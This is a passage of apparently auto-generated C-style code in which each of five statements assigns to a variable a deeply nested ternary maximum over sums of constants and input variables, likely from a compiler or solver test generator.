x_6_ = (((((14.0 + x_1) > (4.0 + x_3)? (14.0 + x_1) : (4.0 + x_3)) > ((10.0 + x_6) > (1.0 + x_11)? (10.0 + x_6) : (1.0 + x_11))? ((14.0 + x_1) > (4.0 + x_3)? (14.0 + x_1) : (4.0 + x_3)) : ((10.0 + x_6) > (1.0 + x_11)? (10.0 + x_6) : (1.0 + x_11))) > (((9.0 + x_12) > (2.0 + x_13)? (9.0 + x_12) : (2.0 + x_13)) > ((1.0 + x_14) > (8.0 + x_18)? (1.0 + x_14) : (8.0 + x_18))? ((9.0 + x_12) > (2.0 + x_13)? (9.0 + x_12) : (2.0 + x_13)) : ((1.0 + x_14) > (8.0 + x_18)? (1.0 + x_14) : (8.0 + x_18)))? (((14.0 + x_1) > (4.0 + x_3)? (14.0 + x_1) : (4.0 + x_3)) > ((10.0 + x_6) > (1.0 + x_11)? (10.0 + x_6) : (1.0 + x_11))? ((14.0 + x_1) > (4.0 + x_3)? (14.0 + x_1) : (4.0 + x_3)) : ((10.0 + x_6) > (1.0 + x_11)? (10.0 + x_6) : (1.0 + x_11))) : (((9.0 + x_12) > (2.0 + x_13)? (9.0 + x_12) : (2.0 + x_13)) > ((1.0 + x_14) > (8.0 + x_18)? (1.0 + x_14) : (8.0 + x_18))? ((9.0 + x_12) > (2.0 + x_13)? (9.0 + x_12) : (2.0 + x_13)) : ((1.0 + x_14) > (8.0 + x_18)? (1.0 + x_14) : (8.0 + x_18)))) > ((((10.0 + x_19) > (15.0 + x_20)? (10.0 + x_19) : (15.0 + x_20)) > ((3.0 + x_21) > (5.0 + x_23)? (3.0 + x_21) : (5.0 + x_23))? ((10.0 + x_19) > (15.0 + x_20)? (10.0 + x_19) : (15.0 + x_20)) : ((3.0 + x_21) > (5.0 + x_23)? (3.0 + x_21) : (5.0 + x_23))) > (((4.0 + x_24) > (19.0 + x_25)? (4.0 + x_24) : (19.0 + x_25)) > ((11.0 + x_28) > (16.0 + x_30)? (11.0 + x_28) : (16.0 + x_30))? ((4.0 + x_24) > (19.0 + x_25)? (4.0 + x_24) : (19.0 + x_25)) : ((11.0 + x_28) > (16.0 + x_30)? (11.0 + x_28) : (16.0 + x_30)))? (((10.0 + x_19) > (15.0 + x_20)? (10.0 + x_19) : (15.0 + x_20)) > ((3.0 + x_21) > (5.0 + x_23)? (3.0 + x_21) : (5.0 + x_23))? ((10.0 + x_19) > (15.0 + x_20)? (10.0 + x_19) : (15.0 + x_20)) : ((3.0 + x_21) > (5.0 + x_23)? (3.0 + x_21) : (5.0 + x_23))) : (((4.0 + x_24) > (19.0 + x_25)? (4.0 + x_24) : (19.0 + x_25)) > ((11.0 + x_28) > (16.0 + x_30)? (11.0 + x_28) : (16.0 + x_30))? ((4.0 + x_24) > (19.0 + x_25)? (4.0 + x_24) : (19.0 + x_25)) : ((11.0 + x_28) > (16.0 + x_30)? (11.0 + x_28) : (16.0 + x_30))))? ((((14.0 + x_1) > (4.0 + x_3)? (14.0 + x_1) : (4.0 + x_3)) > ((10.0 + x_6) > (1.0 + x_11)? (10.0 + x_6) : (1.0 + x_11))? ((14.0 + x_1) > (4.0 + x_3)? (14.0 + x_1) : (4.0 + x_3)) : ((10.0 + x_6) > (1.0 + x_11)? (10.0 + x_6) : (1.0 + x_11))) > (((9.0 + x_12) > (2.0 + x_13)? (9.0 + x_12) : (2.0 + x_13)) > ((1.0 + x_14) > (8.0 + x_18)? (1.0 + x_14) : (8.0 + x_18))? ((9.0 + x_12) > (2.0 + x_13)? (9.0 + x_12) : (2.0 + x_13)) : ((1.0 + x_14) > (8.0 + x_18)? (1.0 + x_14) : (8.0 + x_18)))? (((14.0 + x_1) > (4.0 + x_3)? (14.0 + x_1) : (4.0 + x_3)) > ((10.0 + x_6) > (1.0 + x_11)? (10.0 + x_6) : (1.0 + x_11))? ((14.0 + x_1) > (4.0 + x_3)? (14.0 + x_1) : (4.0 + x_3)) : ((10.0 + x_6) > (1.0 + x_11)? (10.0 + x_6) : (1.0 + x_11))) : (((9.0 + x_12) > (2.0 + x_13)? (9.0 + x_12) : (2.0 + x_13)) > ((1.0 + x_14) > (8.0 + x_18)? (1.0 + x_14) : (8.0 + x_18))? ((9.0 + x_12) > (2.0 + x_13)? (9.0 + x_12) : (2.0 + x_13)) : ((1.0 + x_14) > (8.0 + x_18)? (1.0 + x_14) : (8.0 + x_18)))) : ((((10.0 + x_19) > (15.0 + x_20)? (10.0 + x_19) : (15.0 + x_20)) > ((3.0 + x_21) > (5.0 + x_23)? (3.0 + x_21) : (5.0 + x_23))? ((10.0 + x_19) > (15.0 + x_20)? (10.0 + x_19) : (15.0 + x_20)) : ((3.0 + x_21) > (5.0 + x_23)? (3.0 + x_21) : (5.0 + x_23))) > (((4.0 + x_24) > (19.0 + x_25)? (4.0 + x_24) : (19.0 + x_25)) > ((11.0 + x_28) > (16.0 + x_30)? (11.0 + x_28) : (16.0 + x_30))? ((4.0 + x_24) > (19.0 + x_25)? (4.0 + x_24) : (19.0 + x_25)) : ((11.0 + x_28) > (16.0 + x_30)? (11.0 + x_28) : (16.0 + x_30)))? (((10.0 + x_19) > (15.0 + x_20)? (10.0 + x_19) : (15.0 + x_20)) > ((3.0 + x_21) > (5.0 + x_23)? (3.0 + x_21) : (5.0 + x_23))? ((10.0 + x_19) > (15.0 + x_20)? (10.0 + x_19) : (15.0 + x_20)) : ((3.0 + x_21) > (5.0 + x_23)? (3.0 + x_21) : (5.0 + x_23))) : (((4.0 + x_24) > (19.0 + x_25)? (4.0 + x_24) : (19.0 + x_25)) > ((11.0 + x_28) > (16.0 + x_30)? (11.0 + x_28) : (16.0 + x_30))? ((4.0 + x_24) > (19.0 + x_25)? (4.0 + x_24) : (19.0 + x_25)) : ((11.0 + x_28) > (16.0 + x_30)? (11.0 + x_28) : (16.0 + x_30)))));
x_7_ = (((((2.0 + x_0) > (8.0 + x_1)? (2.0 + x_0) : (8.0 + x_1)) > ((14.0 + x_2) > (19.0 + x_4)? (14.0 + x_2) : (19.0 + x_4))? ((2.0 + x_0) > (8.0 + x_1)? (2.0 + x_0) : (8.0 + x_1)) : ((14.0 + x_2) > (19.0 + x_4)? (14.0 + x_2) : (19.0 + x_4))) > (((20.0 + x_7) > (9.0 + x_9)? (20.0 + x_7) : (9.0 + x_9)) > ((8.0 + x_12) > (16.0 + x_14)? (8.0 + x_12) : (16.0 + x_14))? ((20.0 + x_7) > (9.0 + x_9)? (20.0 + x_7) : (9.0 + x_9)) : ((8.0 + x_12) > (16.0 + x_14)? (8.0 + x_12) : (16.0 + x_14)))? (((2.0 + x_0) > (8.0 + x_1)? (2.0 + x_0) : (8.0 + x_1)) > ((14.0 + x_2) > (19.0 + x_4)? (14.0 + x_2) : (19.0 + x_4))? ((2.0 + x_0) > (8.0 + x_1)? (2.0 + x_0) : (8.0 + x_1)) : ((14.0 + x_2) > (19.0 + x_4)? (14.0 + x_2) : (19.0 + x_4))) : (((20.0 + x_7) > (9.0 + x_9)? (20.0 + x_7) : (9.0 + x_9)) > ((8.0 + x_12) > (16.0 + x_14)? (8.0 + x_12) : (16.0 + x_14))? ((20.0 + x_7) > (9.0 + x_9)? (20.0 + x_7) : (9.0 + x_9)) : ((8.0 + x_12) > (16.0 + x_14)? (8.0 + x_12) : (16.0 + x_14)))) > ((((18.0 + x_17) > (11.0 + x_23)? (18.0 + x_17) : (11.0 + x_23)) > ((8.0 + x_24) > (20.0 + x_25)? (8.0 + x_24) : (20.0 + x_25))? ((18.0 + x_17) > (11.0 + x_23)? (18.0 + x_17) : (11.0 + x_23)) : ((8.0 + x_24) > (20.0 + x_25)? (8.0 + x_24) : (20.0 + x_25))) > (((1.0 + x_26) > (5.0 + x_27)? (1.0 + x_26) : (5.0 + x_27)) > ((14.0 + x_30) > (11.0 + x_31)? (14.0 + x_30) : (11.0 + x_31))? ((1.0 + x_26) > (5.0 + x_27)? (1.0 + x_26) : (5.0 + x_27)) : ((14.0 + x_30) > (11.0 + x_31)? (14.0 + x_30) : (11.0 + x_31)))? (((18.0 + x_17) > (11.0 + x_23)? (18.0 + x_17) : (11.0 + x_23)) > ((8.0 + x_24) > (20.0 + x_25)? (8.0 + x_24) : (20.0 + x_25))? ((18.0 + x_17) > (11.0 + x_23)? (18.0 + x_17) : (11.0 + x_23)) : ((8.0 + x_24) > (20.0 + x_25)? (8.0 + x_24) : (20.0 + x_25))) : (((1.0 + x_26) > (5.0 + x_27)? (1.0 + x_26) : (5.0 + x_27)) > ((14.0 + x_30) > (11.0 + x_31)? (14.0 + x_30) : (11.0 + x_31))? ((1.0 + x_26) > (5.0 + x_27)? (1.0 + x_26) : (5.0 + x_27)) : ((14.0 + x_30) > (11.0 + x_31)? (14.0 + x_30) : (11.0 + x_31))))? ((((2.0 + x_0) > (8.0 + x_1)? (2.0 + x_0) : (8.0 + x_1)) > ((14.0 + x_2) > (19.0 + x_4)? (14.0 + x_2) : (19.0 + x_4))? ((2.0 + x_0) > (8.0 + x_1)? (2.0 + x_0) : (8.0 + x_1)) : ((14.0 + x_2) > (19.0 + x_4)? (14.0 + x_2) : (19.0 + x_4))) > (((20.0 + x_7) > (9.0 + x_9)? (20.0 + x_7) : (9.0 + x_9)) > ((8.0 + x_12) > (16.0 + x_14)? (8.0 + x_12) : (16.0 + x_14))? ((20.0 + x_7) > (9.0 + x_9)? (20.0 + x_7) : (9.0 + x_9)) : ((8.0 + x_12) > (16.0 + x_14)? (8.0 + x_12) : (16.0 + x_14)))? (((2.0 + x_0) > (8.0 + x_1)? (2.0 + x_0) : (8.0 + x_1)) > ((14.0 + x_2) > (19.0 + x_4)? (14.0 + x_2) : (19.0 + x_4))? ((2.0 + x_0) > (8.0 + x_1)? (2.0 + x_0) : (8.0 + x_1)) : ((14.0 + x_2) > (19.0 + x_4)? (14.0 + x_2) : (19.0 + x_4))) : (((20.0 + x_7) > (9.0 + x_9)? (20.0 + x_7) : (9.0 + x_9)) > ((8.0 + x_12) > (16.0 + x_14)? (8.0 + x_12) : (16.0 + x_14))? ((20.0 + x_7) > (9.0 + x_9)? (20.0 + x_7) : (9.0 + x_9)) : ((8.0 + x_12) > (16.0 + x_14)? (8.0 + x_12) : (16.0 + x_14)))) : ((((18.0 + x_17) > (11.0 + x_23)? (18.0 + x_17) : (11.0 + x_23)) > ((8.0 + x_24) > (20.0 + x_25)? (8.0 + x_24) : (20.0 + x_25))? ((18.0 + x_17) > (11.0 + x_23)? (18.0 + x_17) : (11.0 + x_23)) : ((8.0 + x_24) > (20.0 + x_25)? (8.0 + x_24) : (20.0 + x_25))) > (((1.0 + x_26) > (5.0 + x_27)? (1.0 + x_26) : (5.0 + x_27)) > ((14.0 + x_30) > (11.0 + x_31)? (14.0 + x_30) : (11.0 + x_31))? ((1.0 + x_26) > (5.0 + x_27)? (1.0 + x_26) : (5.0 + x_27)) : ((14.0 + x_30) > (11.0 + x_31)? (14.0 + x_30) : (11.0 + x_31)))? (((18.0 + x_17) > (11.0 + x_23)? (18.0 + x_17) : (11.0 + x_23)) > ((8.0 + x_24) > (20.0 + x_25)? (8.0 + x_24) : (20.0 + x_25))? ((18.0 + x_17) > (11.0 + x_23)? (18.0 + x_17) : (11.0 + x_23)) : ((8.0 + x_24) > (20.0 + x_25)? (8.0 + x_24) : (20.0 + x_25))) : (((1.0 + x_26) > (5.0 + x_27)? (1.0 + x_26) : (5.0 + x_27)) > ((14.0 + x_30) > (11.0 + x_31)? (14.0 + x_30) : (11.0 + x_31))? ((1.0 + x_26) > (5.0 + x_27)? (1.0 + x_26) : (5.0 + x_27)) : ((14.0 + x_30) > (11.0 + x_31)? (14.0 + x_30) : (11.0 + x_31)))));
x_8_ = (((((3.0 + x_0) > (4.0 + x_1)? (3.0 + x_0) : (4.0 + x_1)) > ((8.0 + x_2) > (10.0 + x_4)? (8.0 + x_2) : (10.0 + x_4))? ((3.0 + x_0) > (4.0 + x_1)? (3.0 + x_0) : (4.0 + x_1)) : ((8.0 + x_2) > (10.0 + x_4)? (8.0 + x_2) : (10.0 + x_4))) > (((18.0 + x_5) > (3.0 + x_10)? (18.0 + x_5) : (3.0 + x_10)) > ((14.0 + x_12) > (7.0 + x_13)? (14.0 + x_12) : (7.0 + x_13))? ((18.0 + x_5) > (3.0 + x_10)? (18.0 + x_5) : (3.0 + x_10)) : ((14.0 + x_12) > (7.0 + x_13)? (14.0 + x_12) : (7.0 + x_13)))? (((3.0 + x_0) > (4.0 + x_1)? (3.0 + x_0) : (4.0 + x_1)) > ((8.0 + x_2) > (10.0 + x_4)? (8.0 + x_2) : (10.0 + x_4))? ((3.0 + x_0) > (4.0 + x_1)? (3.0 + x_0) : (4.0 + x_1)) : ((8.0 + x_2) > (10.0 + x_4)? (8.0 + x_2) : (10.0 + x_4))) : (((18.0 + x_5) > (3.0 + x_10)? (18.0 + x_5) : (3.0 + x_10)) > ((14.0 + x_12) > (7.0 + x_13)? (14.0 + x_12) : (7.0 + x_13))? ((18.0 + x_5) > (3.0 + x_10)? (18.0 + x_5) : (3.0 + x_10)) : ((14.0 + x_12) > (7.0 + x_13)? (14.0 + x_12) : (7.0 + x_13)))) > ((((18.0 + x_14) > (12.0 + x_16)? (18.0 + x_14) : (12.0 + x_16)) > ((5.0 + x_19) > (8.0 + x_21)? (5.0 + x_19) : (8.0 + x_21))? ((18.0 + x_14) > (12.0 + x_16)? (18.0 + x_14) : (12.0 + x_16)) : ((5.0 + x_19) > (8.0 + x_21)? (5.0 + x_19) : (8.0 + x_21))) > (((17.0 + x_22) > (13.0 + x_25)? (17.0 + x_22) : (13.0 + x_25)) > ((7.0 + x_29) > (19.0 + x_31)? (7.0 + x_29) : (19.0 + x_31))? ((17.0 + x_22) > (13.0 + x_25)? (17.0 + x_22) : (13.0 + x_25)) : ((7.0 + x_29) > (19.0 + x_31)? (7.0 + x_29) : (19.0 + x_31)))? (((18.0 + x_14) > (12.0 + x_16)? (18.0 + x_14) : (12.0 + x_16)) > ((5.0 + x_19) > (8.0 + x_21)? (5.0 + x_19) : (8.0 + x_21))? ((18.0 + x_14) > (12.0 + x_16)? (18.0 + x_14) : (12.0 + x_16)) : ((5.0 + x_19) > (8.0 + x_21)? (5.0 + x_19) : (8.0 + x_21))) : (((17.0 + x_22) > (13.0 + x_25)? (17.0 + x_22) : (13.0 + x_25)) > ((7.0 + x_29) > (19.0 + x_31)? (7.0 + x_29) : (19.0 + x_31))? ((17.0 + x_22) > (13.0 + x_25)? (17.0 + x_22) : (13.0 + x_25)) : ((7.0 + x_29) > (19.0 + x_31)? (7.0 + x_29) : (19.0 + x_31))))? ((((3.0 + x_0) > (4.0 + x_1)? (3.0 + x_0) : (4.0 + x_1)) > ((8.0 + x_2) > (10.0 + x_4)? (8.0 + x_2) : (10.0 + x_4))? ((3.0 + x_0) > (4.0 + x_1)? (3.0 + x_0) : (4.0 + x_1)) : ((8.0 + x_2) > (10.0 + x_4)? (8.0 + x_2) : (10.0 + x_4))) > (((18.0 + x_5) > (3.0 + x_10)? (18.0 + x_5) : (3.0 + x_10)) > ((14.0 + x_12) > (7.0 + x_13)? (14.0 + x_12) : (7.0 + x_13))? ((18.0 + x_5) > (3.0 + x_10)? (18.0 + x_5) : (3.0 + x_10)) : ((14.0 + x_12) > (7.0 + x_13)? (14.0 + x_12) : (7.0 + x_13)))? (((3.0 + x_0) > (4.0 + x_1)? (3.0 + x_0) : (4.0 + x_1)) > ((8.0 + x_2) > (10.0 + x_4)? (8.0 + x_2) : (10.0 + x_4))? ((3.0 + x_0) > (4.0 + x_1)? (3.0 + x_0) : (4.0 + x_1)) : ((8.0 + x_2) > (10.0 + x_4)? (8.0 + x_2) : (10.0 + x_4))) : (((18.0 + x_5) > (3.0 + x_10)? (18.0 + x_5) : (3.0 + x_10)) > ((14.0 + x_12) > (7.0 + x_13)? (14.0 + x_12) : (7.0 + x_13))? ((18.0 + x_5) > (3.0 + x_10)? (18.0 + x_5) : (3.0 + x_10)) : ((14.0 + x_12) > (7.0 + x_13)? (14.0 + x_12) : (7.0 + x_13)))) : ((((18.0 + x_14) > (12.0 + x_16)? (18.0 + x_14) : (12.0 + x_16)) > ((5.0 + x_19) > (8.0 + x_21)? (5.0 + x_19) : (8.0 + x_21))? ((18.0 + x_14) > (12.0 + x_16)? (18.0 + x_14) : (12.0 + x_16)) : ((5.0 + x_19) > (8.0 + x_21)? (5.0 + x_19) : (8.0 + x_21))) > (((17.0 + x_22) > (13.0 + x_25)? (17.0 + x_22) : (13.0 + x_25)) > ((7.0 + x_29) > (19.0 + x_31)? (7.0 + x_29) : (19.0 + x_31))? ((17.0 + x_22) > (13.0 + x_25)? (17.0 + x_22) : (13.0 + x_25)) : ((7.0 + x_29) > (19.0 + x_31)? (7.0 + x_29) : (19.0 + x_31)))? (((18.0 + x_14) > (12.0 + x_16)? (18.0 + x_14) : (12.0 + x_16)) > ((5.0 + x_19) > (8.0 + x_21)? (5.0 + x_19) : (8.0 + x_21))? ((18.0 + x_14) > (12.0 + x_16)? (18.0 + x_14) : (12.0 + x_16)) : ((5.0 + x_19) > (8.0 + x_21)? (5.0 + x_19) : (8.0 + x_21))) : (((17.0 + x_22) > (13.0 + x_25)? (17.0 + x_22) : (13.0 + x_25)) > ((7.0 + x_29) > (19.0 + x_31)? (7.0 + x_29) : (19.0 + x_31))? ((17.0 + x_22) > (13.0 + x_25)? (17.0 + x_22) : (13.0 + x_25)) : ((7.0 + x_29) > (19.0 + x_31)? (7.0 + x_29) : (19.0 + x_31)))));
x_9_ = (((((19.0 + x_0) > (2.0 + x_1)? (19.0 + x_0) : (2.0 + x_1)) > ((18.0 + x_5) > (12.0 + x_6)? (18.0 + x_5) : (12.0 + x_6))? ((19.0 + x_0) > (2.0 + x_1)? (19.0 + x_0) : (2.0 + x_1)) : ((18.0 + x_5) > (12.0 + x_6)? (18.0 + x_5) : (12.0 + x_6))) > (((17.0 + x_8) > (12.0 + x_10)? (17.0 + x_8) : (12.0 + x_10)) > ((8.0 + x_12) > (12.0 + x_15)? (8.0 + x_12) : (12.0 + x_15))? ((17.0 + x_8) > (12.0 + x_10)? (17.0 + x_8) : (12.0 + x_10)) : ((8.0 + x_12) > (12.0 + x_15)? (8.0 + x_12) : (12.0 + x_15)))? (((19.0 + x_0) > (2.0 + x_1)? (19.0 + x_0) : (2.0 + x_1)) > ((18.0 + x_5) > (12.0 + x_6)? (18.0 + x_5) : (12.0 + x_6))? ((19.0 + x_0) > (2.0 + x_1)? (19.0 + x_0) : (2.0 + x_1)) : ((18.0 + x_5) > (12.0 + x_6)? (18.0 + x_5) : (12.0 + x_6))) : (((17.0 + x_8) > (12.0 + x_10)? (17.0 + x_8) : (12.0 + x_10)) > ((8.0 + x_12) > (12.0 + x_15)? (8.0 + x_12) : (12.0 + x_15))? ((17.0 + x_8) > (12.0 + x_10)? (17.0 + x_8) : (12.0 + x_10)) : ((8.0 + x_12) > (12.0 + x_15)? (8.0 + x_12) : (12.0 + x_15)))) > ((((6.0 + x_19) > (1.0 + x_20)? (6.0 + x_19) : (1.0 + x_20)) > ((4.0 + x_22) > (7.0 + x_25)? (4.0 + x_22) : (7.0 + x_25))? ((6.0 + x_19) > (1.0 + x_20)? (6.0 + x_19) : (1.0 + x_20)) : ((4.0 + x_22) > (7.0 + x_25)? (4.0 + x_22) : (7.0 + x_25))) > (((5.0 + x_26) > (8.0 + x_27)? (5.0 + x_26) : (8.0 + x_27)) > ((10.0 + x_28) > (12.0 + x_30)? (10.0 + x_28) : (12.0 + x_30))? ((5.0 + x_26) > (8.0 + x_27)? (5.0 + x_26) : (8.0 + x_27)) : ((10.0 + x_28) > (12.0 + x_30)? (10.0 + x_28) : (12.0 + x_30)))? (((6.0 + x_19) > (1.0 + x_20)? (6.0 + x_19) : (1.0 + x_20)) > ((4.0 + x_22) > (7.0 + x_25)? (4.0 + x_22) : (7.0 + x_25))? ((6.0 + x_19) > (1.0 + x_20)? (6.0 + x_19) : (1.0 + x_20)) : ((4.0 + x_22) > (7.0 + x_25)? (4.0 + x_22) : (7.0 + x_25))) : (((5.0 + x_26) > (8.0 + x_27)? (5.0 + x_26) : (8.0 + x_27)) > ((10.0 + x_28) > (12.0 + x_30)? (10.0 + x_28) : (12.0 + x_30))? ((5.0 + x_26) > (8.0 + x_27)? (5.0 + x_26) : (8.0 + x_27)) : ((10.0 + x_28) > (12.0 + x_30)? (10.0 + x_28) : (12.0 + x_30))))? ((((19.0 + x_0) > (2.0 + x_1)? (19.0 + x_0) : (2.0 + x_1)) > ((18.0 + x_5) > (12.0 + x_6)? (18.0 + x_5) : (12.0 + x_6))? ((19.0 + x_0) > (2.0 + x_1)? (19.0 + x_0) : (2.0 + x_1)) : ((18.0 + x_5) > (12.0 + x_6)? (18.0 + x_5) : (12.0 + x_6))) > (((17.0 + x_8) > (12.0 + x_10)? (17.0 + x_8) : (12.0 + x_10)) > ((8.0 + x_12) > (12.0 + x_15)? (8.0 + x_12) : (12.0 + x_15))? ((17.0 + x_8) > (12.0 + x_10)? (17.0 + x_8) : (12.0 + x_10)) : ((8.0 + x_12) > (12.0 + x_15)? (8.0 + x_12) : (12.0 + x_15)))? (((19.0 + x_0) > (2.0 + x_1)? (19.0 + x_0) : (2.0 + x_1)) > ((18.0 + x_5) > (12.0 + x_6)? (18.0 + x_5) : (12.0 + x_6))? ((19.0 + x_0) > (2.0 + x_1)? (19.0 + x_0) : (2.0 + x_1)) : ((18.0 + x_5) > (12.0 + x_6)? (18.0 + x_5) : (12.0 + x_6))) : (((17.0 + x_8) > (12.0 + x_10)? (17.0 + x_8) : (12.0 + x_10)) > ((8.0 + x_12) > (12.0 + x_15)? (8.0 + x_12) : (12.0 + x_15))? ((17.0 + x_8) > (12.0 + x_10)? (17.0 + x_8) : (12.0 + x_10)) : ((8.0 + x_12) > (12.0 + x_15)? (8.0 + x_12) : (12.0 + x_15)))) : ((((6.0 + x_19) > (1.0 + x_20)? (6.0 + x_19) : (1.0 + x_20)) > ((4.0 + x_22) > (7.0 + x_25)? (4.0 + x_22) : (7.0 + x_25))? ((6.0 + x_19) > (1.0 + x_20)? (6.0 + x_19) : (1.0 + x_20)) : ((4.0 + x_22) > (7.0 + x_25)? (4.0 + x_22) : (7.0 + x_25))) > (((5.0 + x_26) > (8.0 + x_27)? (5.0 + x_26) : (8.0 + x_27)) > ((10.0 + x_28) > (12.0 + x_30)? (10.0 + x_28) : (12.0 + x_30))? ((5.0 + x_26) > (8.0 + x_27)? (5.0 + x_26) : (8.0 + x_27)) : ((10.0 + x_28) > (12.0 + x_30)? (10.0 + x_28) : (12.0 + x_30)))? (((6.0 + x_19) > (1.0 + x_20)? (6.0 + x_19) : (1.0 + x_20)) > ((4.0 + x_22) > (7.0 + x_25)? (4.0 + x_22) : (7.0 + x_25))? ((6.0 + x_19) > (1.0 + x_20)? (6.0 + x_19) : (1.0 + x_20)) : ((4.0 + x_22) > (7.0 + x_25)? (4.0 + x_22) : (7.0 + x_25))) : (((5.0 + x_26) > (8.0 + x_27)? (5.0 + x_26) : (8.0 + x_27)) > ((10.0 + x_28) > (12.0 + x_30)? (10.0 + x_28) : (12.0 + x_30))? ((5.0 + x_26) > (8.0 + x_27)? (5.0 + x_26) : (8.0 + x_27)) : ((10.0 + x_28) > (12.0 + x_30)? (10.0 + x_28) : (12.0 + x_30)))));
x_10_ = (((((9.0 + x_0) > (9.0 + x_2)? (9.0 + x_0) : (9.0 + x_2)) > ((14.0 + x_5) > (5.0 + x_6)? (14.0 + x_5) : (5.0 + x_6))? ((9.0 + x_0) > (9.0 + x_2)? (9.0 + x_0) : (9.0 + x_2)) : ((14.0 + x_5) > (5.0 + x_6)? (14.0 + x_5) : (5.0 + x_6))) > (((1.0 + x_9) > (11.0 + x_12)? (1.0 + x_9) : (11.0 + x_12)) > ((3.0 + x_16) > (8.0 + x_18)? (3.0 + x_16) : (8.0 + x_18))? ((1.0 + x_9) > (11.0 + x_12)? (1.0 + x_9) : (11.0 + x_12)) : ((3.0 + x_16) > (8.0 + x_18)? (3.0 + x_16) : (8.0 + x_18)))? (((9.0 + x_0) > (9.0 + x_2)? (9.0 + x_0) : (9.0 + x_2)) > ((14.0 + x_5) > (5.0 + x_6)? (14.0 + x_5) : (5.0 + x_6))? ((9.0 + x_0) > (9.0 + x_2)? (9.0 + x_0) : (9.0 + x_2)) : ((14.0 + x_5) > (5.0 + x_6)? (14.0 + x_5) : (5.0 + x_6))) : (((1.0 + x_9) > (11.0 + x_12)? (1.0 + x_9) : (11.0 + x_12)) > ((3.0 + x_16) > (8.0 + x_18)? (3.0 + x_16) : (8.0 + x_18))? ((1.0 + x_9) > (11.0 + x_12)? (1.0 + x_9) : (11.0 + x_12)) : ((3.0 + x_16) > (8.0 + x_18)? (3.0 + x_16) : (8.0 + x_18)))) > ((((16.0 + x_19) > (4.0 + x_20)? (16.0 + x_19) : (4.0 + x_20)) > ((17.0 + x_22) > (9.0 + x_23)? (17.0 + x_22) : (9.0 + x_23))? ((16.0 + x_19) > (4.0 + x_20)? (16.0 + x_19) : (4.0 + x_20)) : ((17.0 + x_22) > (9.0 + x_23)? (17.0 + x_22) : (9.0 + x_23))) > (((2.0 + x_24) > (10.0 + x_25)? (2.0 + x_24) : (10.0 + x_25)) > ((8.0 + x_27) > (18.0 + x_28)? (8.0 + x_27) : (18.0 + x_28))? ((2.0 + x_24) > (10.0 + x_25)? (2.0 + x_24) : (10.0 + x_25)) : ((8.0 + x_27) > (18.0 + x_28)? (8.0 + x_27) : (18.0 + x_28)))? (((16.0 + x_19) > (4.0 + x_20)? (16.0 + x_19) : (4.0 + x_20)) > ((17.0 + x_22) > (9.0 + x_23)? (17.0 + x_22) : (9.0 + x_23))? ((16.0 + x_19) > (4.0 + x_20)? (16.0 + x_19) : (4.0 + x_20)) : ((17.0 + x_22) > (9.0 + x_23)? (17.0 + x_22) : (9.0 + x_23))) : (((2.0 + x_24) > (10.0 + x_25)? (2.0 + x_24) : (10.0 + x_25)) > ((8.0 + x_27) > (18.0 + x_28)? (8.0 + x_27) : (18.0 + x_28))? ((2.0 + x_24) > (10.0 + x_25)? (2.0 + x_24) : (10.0 + x_25)) : ((8.0 + x_27) > (18.0 + x_28)? (8.0 + x_27) : (18.0 + x_28))))? ((((9.0 + x_0) > (9.0 + x_2)? (9.0 + x_0) : (9.0 + x_2)) > ((14.0 + x_5) > (5.0 + x_6)? (14.0 + x_5) : (5.0 + x_6))? ((9.0 + x_0) > (9.0 + x_2)? (9.0 + x_0) : (9.0 + x_2)) : ((14.0 + x_5) > (5.0 + x_6)? (14.0 + x_5) : (5.0 + x_6))) > (((1.0 + x_9) > (11.0 + x_12)? (1.0 + x_9) : (11.0 + x_12)) > ((3.0 + x_16) > (8.0 + x_18)? (3.0 + x_16) : (8.0 + x_18))? ((1.0 + x_9) > (11.0 + x_12)? (1.0 + x_9) : (11.0 + x_12)) : ((3.0 + x_16) > (8.0 + x_18)? (3.0 + x_16) : (8.0 + x_18)))? (((9.0 + x_0) > (9.0 + x_2)? (9.0 + x_0) : (9.0 + x_2)) > ((14.0 + x_5) > (5.0 + x_6)? (14.0 + x_5) : (5.0 + x_6))? ((9.0 + x_0) > (9.0 + x_2)? (9.0 + x_0) : (9.0 + x_2)) : ((14.0 + x_5) > (5.0 + x_6)? (14.0 + x_5) : (5.0 + x_6))) : (((1.0 + x_9) > (11.0 + x_12)? (1.0 + x_9) : (11.0 + x_12)) > ((3.0 + x_16) > (8.0 + x_18)? (3.0 + x_16) : (8.0 + x_18))? ((1.0 + x_9) > (11.0 + x_12)? (1.0 + x_9) : (11.0 + x_12)) : ((3.0 + x_16) > (8.0 + x_18)? (3.0 + x_16) : (8.0 + x_18)))) : ((((16.0 + x_19) > (4.0 + x_20)? (16.0 + x_19) : (4.0 + x_20)) > ((17.0 + x_22) > (9.0 + x_23)? (17.0 + x_22) : (9.0 + x_23))? ((16.0 + x_19) > (4.0 + x_20)? (16.0 + x_19) : (4.0 + x_20)) : ((17.0 + x_22) > (9.0 + x_23)? (17.0 + x_22) : (9.0 + x_23))) > (((2.0 + x_24) > (10.0 + x_25)? (2.0 + x_24) : (10.0 + x_25)) > ((8.0 + x_27) > (18.0 + x_28)? (8.0 + x_27) : (18.0 + x_28))? ((2.0 + x_24) > (10.0 + x_25)? (2.0 + x_24) : (10.0 + x_25)) : ((8.0 + x_27) > (18.0 + x_28)? (8.0 + x_27) : (18.0 + x_28)))? (((16.0 + x_19) > (4.0 + x_20)? (16.0 + x_19) : (4.0 + x_20)) > ((17.0 + x_22) > (9.0 + x_23)? (17.0 + x_22) : (9.0 + x_23))? ((16.0 + x_19) > (4.0 + x_20)? (16.0 + x_19) : (4.0 + x_20)) : ((17.0 + x_22) > (9.0 + x_23)? (17.0 + x_22) : (9.0 + x_23))) : (((2.0 + x_24) > (10.0 + x_25)? (2.0 + x_24) : (10.0 + x_25)) > ((8.0 + x_27) > (18.0 + x_28)? (8.0 + x_27) : (18.0 + x_28))? ((2.0 + x_24) > (10.0 + x_25)? (2.0 + x_24) : (10.0 + x_25)) : ((8.0 + x_27) > (18.0 + x_28)? (8.0 + x_27) : (18.0 + x_28)))));
